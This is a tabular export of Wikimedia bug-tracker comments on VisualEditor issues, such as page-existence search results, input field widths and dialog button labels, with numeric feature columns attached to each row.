248182,VisualEditor: OpenSearch results aren't perfect for checking for page existence,"FIXED by dint of bug 70958 being fixed. Thanks, Timo!",,,1412977342,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hqedrd262jmefrbeu2zs,task_subcomment,,True,c1,3,True,,,66,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3846153846153846,1.0,"FIXED by dint of bug 70958 being fixed. Thanks, Timo!"
248179,VisualEditor: OpenSearch results aren't perfect for checking for page existence,*** Bug 54361 has been marked as a duplicate of this bug. ***,,,1410985568,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hqedrd262jmefrbeu2zs,task_subcomment,,True,c1,3,True,,,63,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54361 has been marked as a duplicate of this bug. ***
248175,VisualEditor: OpenSearch results aren't perfect for checking for page existence,"Action item: When using search in a way that the user input should be used as first hit if it exists[1], our code should always do an additional query for the literal input against the pageinfo API. At least until the upstream bug in MediaWiki search is fixed (do we have a report for that?).


[1] e.g. mediawiki link input widget, and transclusion dialog template name input, but not media dialog probably.",,,1406658829,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hqedrd262jmefrbeu2zs,task_subcomment,,True,c1,3,True,,,56,,0.0,0.0,0.0,2.0,1.0,5.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,22.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,8.0,2.0,6.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,10.0,6.0,1.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,1.0,0.0,1.0,2.0,3.9302325581395348,0.7790697674418605,"Action item: When using search in a way that the user input should be used as first hit if it exists[1], our code should always do an additional query for the literal input against the pageinfo API. At least until the upstream bug in MediaWiki search is fixed (do we have a report for that?).


[1] e.g. mediawiki link input widget, and transclusion dialog template name input, but not media dialog probably."
248171,VisualEditor: OpenSearch results aren't perfect for checking for page existence,"Right now MediaWiki search has a bug where one searches ""Foo"" and a page by that name exists, it might not be included in the search results (or at least not in the first 10). Or sometimes it's in there but on #3.

While fixing the order is harder, we can easily work around the case where it is absent by running an additional api query simply checking whether a page by the title of ""Foo"" exists.",,,1406658645,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hqedrd262jmefrbeu2zs,task_subcomment,,True,c1,3,True,,,56,,0.0,0.0,0.0,1.0,2.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,12.0,13.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,8.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,10.0,3.0,7.0,4.0,4.0,11.0,0.0,0.0,0.0,1.0,2.0,0.0,3.0,0.0,4.0,13.0,3.0,0.0,4.0,0.0,4.0,0.0,2.0,4.0,0.0,3.0,1.0,1.0,0.0,3.5494505494505493,0.7252747252747253,"Right now MediaWiki search has a bug where one searches ""Foo"" and a page by that name exists, it might not be included in the search results (or at least not in the first 10). Or sometimes it's in there but on #3.

While fixing the order is harder, we can easily work around the case where it is absent by running an additional api query simply checking whether a page by the title of ""Foo"" exists."
248164,VisualEditor: OpenSearch results aren't perfect for checking for page existence,*** Bug 65927 has been marked as a duplicate of this bug. ***,,,1402016305,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hqedrd262jmefrbeu2zs,task_subcomment,,True,c1,3,True,,,48,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 65927 has been marked as a duplicate of this bug. ***
248158,VisualEditor: OpenSearch results aren't perfect for checking for page existence,*** Bug 52596 has been marked as a duplicate of this bug. ***,,,1377808859,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hqedrd262jmefrbeu2zs,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52596 has been marked as a duplicate of this bug. ***
248152,VisualEditor: OpenSearch results aren't perfect for checking for page existence,This looks the same as bug 52596 which contains more details of which pages are believed to exist and which are not,,,1377802895,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-hqedrd262jmefrbeu2zs,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,5.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,5.0,23.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,4.2727272727272725,0.8636363636363636,This looks the same as bug 52596 which contains more details of which pages are believed to exist and which are not
53012,VisualEditor: Make defaultsort input field wider,"To fit long page titles. 

There's plenty of empty space in the dialog box that could be put to use.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1373355240,1395083036.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-jbywhdnkgf572tjejemv,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.619047619047619,0.7380952380952381,"To fit long page titles. 

There's plenty of empty space in the dialog box that could be put to use.

--------------------------
**Version**: unspecified
**Severity**: minor"
248112,VisualEditor: Make defaultsort input field wider,Thanks!,,,1395083036,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jbywhdnkgf572tjejemv,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Thanks!
248103,VisualEditor: Make defaultsort input field wider,"Change 119092 merged by jenkins-bot:
Increases width of defaultsort and page redirect fields in options dialog

https://gerrit.wikimedia.org/r/119092",,,1395082709,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jbywhdnkgf572tjejemv,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.909090909090909,1.0,"Change 119092 merged by jenkins-bot:
Increases width of defaultsort and page redirect fields in options dialog

GERRIT_URL"
248096,VisualEditor: Make defaultsort input field wider,"Change 119092 had a related patch set uploaded by Mvolz:
Increases width of defaultsort and page redirect fields in options dialog

https://gerrit.wikimedia.org/r/119092",,,1395082320,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jbywhdnkgf572tjejemv,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.92,1.0,"Change 119092 had a related patch set uploaded by Mvolz:
Increases width of defaultsort and page redirect fields in options dialog

GERRIT_URL"
248090,VisualEditor: Make defaultsort input field wider,"Created attachment 14834
Other dialogs affected by change

**Attached**: {F11659}",,,1395009220,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-jbywhdnkgf572tjejemv,task_subcomment,,True,c1,3,False,,,36,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8947368421052633,0.8421052631578947,"Created attachment 14834
Other dialogs affected by change

**Attached**: {F11659}"
248086,VisualEditor: Make defaultsort input field wider,"Created attachment 14833
Screenshot of 100% width in default sort field

**Attached**: {F11658}",,,1395008155,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-jbywhdnkgf572tjejemv,task_subcomment,,True,c1,3,False,,,36,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6956521739130435,0.8695652173913043,"Created attachment 14833
Screenshot of 100% width in default sort field

**Attached**: {F11658}"
248082,VisualEditor: Make defaultsort input field wider,"Created attachment 14832
Screenshot of 30em width in default sort field

So I've looked into this a bit and took some screenshots.

Currently this is set in the class .oo-ui-textInputWidget and is set to 20em. The text input widget appears in Options -> Categories, Options -> Page Settings, and Insert -> Reference. 

These 3 fields all look acceptable at a width of 30em. We could also go for 100% width of the div. I like the look of this in the two Options areas, although this looks a bit odd in the Reference dialog ""group by"" field. I think that even 20em was too wide for it to begin with- maybe we should add a special class here?

Any opinions? I like both 30 em and 100%, and since reference dialog is likely to undergo radical UI changes the size of the group by field in the reference dialog could be ignored for the time being.

**Attached**: {F11657}",,,1395008084,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-jbywhdnkgf572tjejemv,task_subcomment,,True,c1,3,False,,,36,,1.5,0.0,0.0,1.5,0.0,3.5,1.0,0.0,0.5,0.0,3.0,0.5,0.0,0.0,0.0,3.0,0.0,3.5,12.0,0.0,1.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,5.0,0.5,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,19.5,1.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.0,3.0,12.0,1.5,3.0,11.0,0.0,0.0,0.0,0.0,2.5,0.0,3.0,0.0,4.0,12.0,7.0,1.0,1.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,3.637755102040816,0.6989795918367347,"Created attachment 14832
Screenshot of 30em width in default sort field

So I've looked into this a bit and took some screenshots.

Currently this is set in the class .oo-ui-textInputWidget and is set to 20em. The text input widget appears in Options -> Categories, Options -> Page Settings, and Insert -> Reference. 

These 3 fields all look acceptable at a width of 30em. We could also go for 100% width of the div. I like the look of this in the two Options areas, although this looks a bit odd in the Reference dialog ""group by"" field. I think that even 20em was too wide for it to begin with- maybe we should add a special class here?

Any opinions? I like both 30 em and 100%, and since reference dialog is likely to undergo radical UI changes the size of the group by field in the reference dialog could be ignored for the time being.

**Attached**: {F11657}"
52998,"VisualEditor: ""Apply changes"" label should be replaced with ""Insert template/reflist"" when inserting template/reflist","When inserting a new template, the template dialog button label ""Apply changes"" doesn't make sense, since we're not changing an existing element. In that case, the button should be labeled ""Insert template"".

Similarly, when inserting the list of references, the button should be labeled ""Insert references list"", not ""Apply changes"".

In contrast, when inserting a footnote or media file, the button is correctly labeled ""Insert reference"" or ""Insert media"".

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1373336940,1394666798.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-4thzrxadngq5mhfphtu2,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.5,0.0,5.0,2.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,8.5,2.5,2.0,5.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,2.5,3.0,0.0,9.0,0.0,0.5,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,4.033121597096189,0.6256805807622505,"When inserting a new template, the template dialog button label ""Apply changes"" doesn't make sense, since we're not changing an existing element. In that case, the button should be labeled ""Insert template"".

Similarly, when inserting the list of references, the button should be labeled ""Insert references list"", not ""Apply changes"".

In contrast, when inserting a footnote or media file, the button is correctly labeled ""Insert reference"" or ""Insert media"".

--------------------------
**Version**: unspecified
**Severity**: minor"
247400,"VisualEditor: ""Apply changes"" label should be replaced with ""Insert template/reflist"" when inserting template/reflist",Verified the fix production:https://en.wikipedia.org/wiki/User:RYasmeen_%28WMF%29/sandbox?veaction=edit,,,1395350521,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-4thzrxadngq5mhfphtu2,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,Verified the fix production:URL
247394,"VisualEditor: ""Apply changes"" label should be replaced with ""Insert template/reflist"" when inserting template/reflist",Verified the fix in test2:https://test2.wikipedia.org/w/index.php?title=User:RYasmeen_(WMF)/sandbox&veaction=edit,,,1394844008,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-4thzrxadngq5mhfphtu2,task_subcomment,,True,c1,3,False,,,36,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,Verified the fix in test2:URL
247388,"VisualEditor: ""Apply changes"" label should be replaced with ""Insert template/reflist"" when inserting template/reflist","Change 117342 merged by jenkins-bot:
Keep label and disabled state of transclusion dialog apply button in sync

https://gerrit.wikimedia.org/r/117342",,,1394666490,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4thzrxadngq5mhfphtu2,task_subcomment,,True,c1,3,False,,,36,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6521739130434785,1.0,"Change 117342 merged by jenkins-bot:
Keep label and disabled state of transclusion dialog apply button in sync

GERRIT_URL"
247385,"VisualEditor: ""Apply changes"" label should be replaced with ""Insert template/reflist"" when inserting template/reflist","Change 117342 had a related patch set uploaded by Jforrester:
Keep label and disabled state of transclusion dialog apply button in sync

https://gerrit.wikimedia.org/r/117342",,,1394412858,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4thzrxadngq5mhfphtu2,task_subcomment,,True,c1,3,False,,,36,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.884615384615385,1.0,"Change 117342 had a related patch set uploaded by Jforrester:
Keep label and disabled state of transclusion dialog apply button in sync

GERRIT_URL"
52997,"VisualEditor: More gracefully handle situations where due to page length/slow client, slowness to load means browser kills VE","Splitting from bug 50475 comment 1.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1373335140,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-tqk4thl22c326oiwdmgc,task_description,open,True,c1,3,True,False,,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.28,0.64,"Splitting from bug 50475 comment 1.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
52996,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,"Especially for templates, having a faster way to open the inspector would be very helpful. Right now in the case of a large template, you have to first select the template, then mouse over to the puzzle piece location and click it. Just double-clicking/tapping the template seems like a straightforward and discoverable gesture.

For links and other nodes it may be less important, but what would be the disadvantages for just making open-on-double-click the default behavior for all nodes that have a primary inspector of some kind?

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54827",Medium,50.0,1373333700,1395274875.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_description,resolved,True,c1,3,False,False,False,1,,1.5,0.0,0.5,0.0,0.0,7.5,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,7.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,2.0,0.5,1.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.5,0.0,13.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,6.0,2.0,5.5,0.0,2.0,7.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,1.5,7.5,0.0,0.5,0.0,0.0,1.5,0.0,1.5,2.0,0.0,1.5,1.0,0.0,0.0,4.044776119402985,0.7164179104477613,"Especially for templates, having a faster way to open the inspector would be very helpful. Right now in the case of a large template, you have to first select the template, then mouse over to the puzzle piece location and click it. Just double-clicking/tapping the template seems like a straightforward and discoverable gesture.

For links and other nodes it may be less important, but what would be the disadvantages for just making open-on-double-click the default behavior for all nodes that have a primary inspector of some kind?

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
247321,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,"Change 103062 merged by jenkins-bot:
Create mixin that tries to execute primary node command

https://gerrit.wikimedia.org/r/103062",,,1395274513,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,"Change 103062 merged by jenkins-bot:
Create mixin that tries to execute primary node command

GERRIT_URL"
247315,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,"Change 84461 abandoned by Robmoen:
WIP: Create ve.ce.ClickableNode mixin

Reason:
old

